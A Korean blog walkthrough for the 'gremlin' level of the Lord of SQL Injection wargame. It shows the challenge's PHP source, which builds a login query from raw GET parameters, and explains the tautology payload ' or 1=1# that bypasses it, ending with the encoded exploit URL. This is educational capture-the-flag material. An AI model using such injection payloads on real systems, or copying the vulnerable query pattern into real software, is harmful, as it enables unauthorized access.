No img


[los.eagle-jump]Lord Of Sql Injection gremlin - 1번

Posted by bonggang | 2020. 6. 1. 17:07

문제


https://los.eagle-jump.org/gate.php

 

https://los.eagle-jump.org/gate.php

 

los.eagle-jump.org

 

문제 풀이


0. 소스코드 확인

<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

 

1. 쿼리문 작성

preg_match의 필터링 부분을 봤을 때 크게 중요한 것이 없다. 그냥 쿼리문을 작성하면 될 것 같다.

현재 주어진 쿼리문은 아래와 같다.

  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";

 

id에 특별히 주어진 부분이 없으니 그냥 일반 SQLj를 하면 될 듯하다.

GET으로 받으니 URL에 id 값을 넣어준 후 뒷부분을 주석으로 날려버릴 예정이다.

 

  $query = "select id from prob_gremlin where id='1' or 1=1#' and pw='{$_GET[pw]}'";

위와 같이 작성해주면 1=1이 참이기 때문에 쿼리문이 참이 되어 결과값을 반환하며 #이후 부분은 주석처리되어 사라진다.

(URL Encoding을 고려해서 #의 url encoding 값인 %23으로 바꿔서 작성해준다.)

 

 

결과


https://los.eagle-jump.org/gremlin_bbc5af7bed14aa50b84986f2de742f31.php?id=1%27%20or%201=1%23